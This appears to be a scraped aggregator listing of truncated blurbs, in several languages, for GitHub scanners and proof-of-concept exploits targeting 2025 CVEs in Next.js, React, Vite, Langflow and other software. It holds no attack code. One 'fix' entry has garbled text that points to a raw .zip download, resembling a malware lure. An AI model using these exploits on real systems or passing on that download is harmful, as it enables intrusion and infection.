CVE-2025-30208

🔥 Escáner de vulnerabilidad CVE-2025-30208 de lectura arbitraria de archivos en Vite Escáner de vulnerabilidades avanzado para CVE-2025-30208 con funciones de nivel empresarial Herramienta profesional de pruebas de penetración para la detección de la vulnerabilidad de lectura arbitraria de archiv...

CVE-2025-55182-burpscanner

CVE-2025-55182-burpscanner 基于 CVE-2025-55182 漏洞检测 burpsuite 被动扫描插件, 使用 JDK 17 插件使用： 默认扫描history / 右键主动扫描，识别到漏洞会自动到 CVE-2025-55182 模块 Deduplication（去重机制） 在扫描过程中，为避免重复记录相同漏洞，本工具采用基于 host + path 的唯一性判断： root@kitploit: 使用 host + path 作为漏洞记录的唯一标识 当新漏洞与旧记录的唯一标识相同，新记录会覆盖旧记录 防止因参数不同或重复扫描导致的数据重复 GET/POST...

NextSecureScan

NextSecureScan - Next.js-CVE-2025-29927 Middleware Vulnerability Scanner NextSecureScan is a comprehensive security scanner specifically designed to identify middleware-related authorization bypass vulnerabilities CVE-2025-29927 in Next.js applications. This scanner leverages explicit header...

MongoBleed-CVE-2025-14847-Fully-Automated-scanner

此存储库没有 README。...

CVE-2025-55182

CVE-2025-55182 React2Shell 漏洞利用概念验证 ⚠️ 警告：本项目特意使用了存在漏洞的软件，仅供安全研究使用。 致谢 本概念验证的全部功劳归于 @maple3142 设置与运行 Docker root@kitploit: docker-compose up --build 应用程序将在 http://localhost:3000 上可用 漏洞利用 root@kitploit: python3 CVE-2025-55182.py ⚠️ 法律免责声明 本工具仅供教育及授权安全测试目的使用。 使用本工具即表示您同意： 仅对您拥有 或已获得明确书面授权 的系统进行测试...

CVE-2025-48384-submodule

CVE-2025-48384-submodule...

CVE-2025-24813-vulhub

CVE-2025-24813-vulhub Script POC para el entorno vulhub de CVE-2025-24813 Debido a que muchos compañeros están confundidos acerca de la explotación de esta vulnerabilidad, escribí este script para ayudar a todos a realizar la explotación de la vulnerabilidad en vulhub. Ver detalles:...

bluehood

Bluehood 蓝牙邻里 - 追踪您周围的 BLE 设备并分析流量模式。 警告：Alpha 软件 本项目处于早期开发阶段，尚未准备好用于生产环境 。功能可能会在无通知的情况下变更、损坏或被移除。使用风险自负。收集的数据应视为实验性数据。 截图 主仪表板，显示设备列表，支持筛选、搜索和实时统计 标签式配置页面 — 警报、操作、分组和安全 情报页面，包含项目信息和功能概览 为什么？ 本项目的灵感来自 WhisperPair 漏洞（CVE-2025-36911），该漏洞凸显了蓝牙设备中的隐私风险。...

react2shell-ultimate

Escáner React2Shell Ultimate v2.0 Escáner profesional de vulnerabilidades RCE RSC Next.js para CVE-2025-66478 🎯 Descripción general React2Shell Ultimate es un escáner integral de vulnerabilidades para CVE-2025-66478: una vulnerabilidad crítica de ejecución remota de código RCE que afecta a...

CVE-2025-64459

CVE-2025-64459...

react2shell-scanner

react2shell-guard Escáner de seguridad para CVE-2025-55182 - una vulnerabilidad crítica CVSS 10.0 de ejecución remota de código no autenticada en React Server Components. ⚠️ AVISO LEGAL Este es un escáner de seguridad , NO una herramienta de explotación. Está diseñado para ayudar a desarrolladores...

cve-2025-48384-hub

Este repositorio no tiene un README...

fix-react2shell-next

🚀 fix-react2shell-next - 修复您的 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 应用中的漏洞 📥 立即下载 📝 概述 fix-react2shell-next 帮助您解决 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 或 React RSC...

next-cve-2025-66478

NextJS CVE-2025-66478 Escanea todos los proyectos vulnerables a CVE-2025-66478 en el directorio de trabajo actual y los reporta. Obtén más información sobre CVE-2025-66478 Advertencia Este script no soluciona ninguna vulnerabilidad. Solo sirve para localizarlas. Por favor, consulta este artículo...

CVE-2025-22131-POC

CVE-2025-22131 POC Exploit XSS de CVE-2025-22131 por s0ck37 Referencia: https://sploitus.com/exploit?id=152DAC32-8330-54D6-A916-7FC36EAA38B7...

CVE-2025-3248

Exploit de Langflow CVE-2025-3248 Un exploit basado en Python para CVE-2025-3248, que permite a atacantes remotos no autenticados ejecutar código arbitrario en instancias vulnerables de Langflow mediante solicitudes HTTP manipuladas. Características Escaneo de URL única o masivo desde archivo...

CVE-2025-55182-poc-panel

Este repositorio no tiene un README...

Exploit_CVE-2025-37164

ExploitCVE-2025-37164 ! Este script está hecho únicamente con fines educativos Exploit para el CVE-2025-37164 Descripción : Este script proporciona un exploit simple para el CVE-2025-37164 que afecta a HPE OneView y que puede usarse para validar si un activo es vulnerable. Uso : root@kitploit: gi...

CVE-2025-48384-submodule

This repository does not have a README...

poc-cve-2025-29927

Next.js 中间件绕过 CVE-2025-29927 概念验证 本仓库包含 CVE-2025-29927 的 概念验证 POC ，这是 Next.js 中的一个严重漏洞，允许攻击者绕过在中间件中实现的授权检查。 📋 目录 1. 运行 POC 应用 2. 使用漏洞利用脚本 3. 如何修复漏洞 4. 漏洞详情 运行 POC 应用 此 Next.js 应用程序通过一个受保护的控制面板路由演示了该漏洞。 设置说明 1. 克隆仓库 2. 安装并运行： root@kitploit: npm install npm run build npm run start 3. 在浏览器中访问...